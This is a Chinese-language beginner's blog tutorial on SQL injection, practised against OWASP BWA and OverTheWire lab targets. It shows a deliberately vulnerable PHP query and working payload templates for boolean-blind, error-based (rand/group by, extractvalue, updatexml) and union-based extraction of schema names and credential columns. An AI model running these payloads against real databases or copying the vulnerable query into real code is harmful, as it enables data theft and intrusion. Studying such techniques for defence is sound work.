SQL 注入详解

实习期间的主要工做是研究 WEB 安全,刚开始的时候,研究的主要是 SQL 注入,由于以前没有搞过安全,全部费了好长一段时间对 SQL 注入基本知识进行了解。这篇文章并非什么很深刻的技术博客,或许应该叫它‘ SQL注入扫盲 ’php

clipboard.png

关于 SQL Injection

SQL Injection 就是经过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。mysql

学习 SQL 注入,首先要搭一个靶机环境,我使用的是 OWASP BWA,感兴趣的能够去官网下载一个安装,除了 SQL 注入,不少靶机环境均可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的。git

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result); 

这是一个很简单的 PHP代码,从前台得到 id 的值,交给数据库来执行,把结果返回给前台。github

好比咱们在 OWASP 里输入 id = 1,点击 Submit,返回结果以下:sql

clipboard.png

稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,咱们在 submit 输入框输入的如何内容都会被提交给数据库执行,好比在输入框输入1' or '1'='1,执行就会变成:数据库

//原先要在数据库中执行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//变成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下单引号,这是 SQL 注入中很是重要的一个地方,因此注入代码的最后要补充一个 '1'='1让单引号闭合。后端

因为 or 的执行,会把数据库表 users 中的全部内容显示出来,安全

clipboard.png

下面对三种主要的注入类型进行介绍。服务器

Boolean-based 原理分析

首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回知足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集。
下面是一个数据库的查询内容。markdown

mysql> select * from students;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

会发现and 1=1 , and 1=2 便是 and TRUE , and FALSE 的变种。
这即是最基础的boolean注入,以此为基础你能够自由组合语句。

字典爆破流

and exists(select * from ?)     //?为猜想的表名
and exists(select ? from x)     //?为猜想的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判断数据库名的长度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判断第一个字符

Boolean-based总结

根据前面的介绍,咱们知道,对于基于Boolean-based的注入,必需要有一个能够正常访问的地址,好比http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个能够正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜想。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器咱们会获得一个返回值,若是和先前的返回值不同,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。

为何咱们刚开始必定要找一个已经存在的id,其实这主要是为了构造一个为真的状况。Boolean-based就是利用查询结果为真和为假时的不一样响应,经过不断猜想来找到本身想要的东西。

对于keyword的值,mysql数据库可使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此类推,就能够得到keyword的在数据库中的值。
Boolean-based的效率很低,须要多个请求才能肯定一个值,尽管这种代价能够经过脚原本完成,在有选择的状况下,咱们会优先选择其余方式。

Error Based 原理分析

关于错误回显

基于错误回显的sql注入就是经过sql语句的矛盾性来使数据被回显到页面上

所用到的函数

count() 统计元祖的个数(至关于求和)
如select count(*) from information_schema.tables;  

rand()用于产生一个0~1的随机数  

floor()向下取整  

group by 依据咱们想要的规矩对结果进行分组  

concat将符合条件的同一列中的不一样行数据拼接,以逗号隔开

用于错误回显的sql语句

第一种: 基于 rand() 与 group by 的错误

利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告以下:

**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

这个bug会爆出duplicate key这个错误,而后顺便就把数据偷到了。
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

第二种: XPATH爆信息

这里主要用到的是ExtractValue()和UpdateXML()这2个函数,因为mysql 5.1之后提供了内置的XML文件解析和函数,因此这种注入只能用于5.1版本之后使用

查看sql手册

语法:EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。

做用:从目标XML中返回包含所查询值的字符串

语法:UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

做用:改变文档中符合条件的节点的值

如今就很清楚了,咱们只须要不知足XPath_string(Xpath格式)就能够了,可是因为这个方法只能爆出32位,因此能够结合mid来使用
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and '1'='1

基于错误回显的注入,总结起来就一句话,经过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,致使基于错误的注入偷数据的效率并无那么高,但相对于布尔注入已经提升了一个档次。

union query injection

要了解union query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。好比说

SELECT username, password FROM account;

结果是

admin 123456

SELECT id, title FROM article

的结果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的结果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入,union注入相对轻松。由于,union注入能够直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一块儿,全部要让union前面的查询返回一个空值,通常采用相似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //数据库名  
+--------------------+
| name               |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| rumRaisin          |
| t3st               |
| test               |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名
+----------+
| name     |
+----------+
| master   |
| students |
+----------+
2   rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名
+------+
| name |
+------+
| id   |
| name |
| age  |
+------+
3 rows in set (0.00 sec)

UNION 操做符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有类似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引发报错。

因此你若是想要使用union查询来进行注入,你首先要猜想后端查询语句中查询了多少列,哪些列能够回显给用户。

猜想列数

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到页面正常显示

好比这条语句

-1 UNION SELECT 1,2,3,4

若是显示的值为3和4,表示该查询结果中有四列,而且第三列和第四列是有用的。则相应的构造union语句以下

-1 UNION SELECT 1,2,username,password FROM table

小结一下

SQL 注入大概有5种,还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟),堆栈就是多语句查询,用 ‘;’ 把语句隔开,和 union 同样;时间延迟就是利用 sleep() 函数让数据库延迟执行,偷数据的速度很慢。(还有一个第六种,内联注入,但和前面涉及的内容有所重叠,就不单独来讨论了)写这篇文章的时候,也是刚刚接触 markdown 的时候,不少格式都不规范,好比中英文之间半角的空格都没有,你们就且看且无视吧。

引用说明,本身以前研究 SQL 注入的时候,也是一点一点摸索的,本博客的大部份内容是来自于公司内网的服务器中(公司按期考核,看你都干了什么)。当时由于是内网,就没有作引用,如今想找到这些引用的文章也很困难,见谅。

欢迎来个人博客交流。

相关文章
相关标签/搜索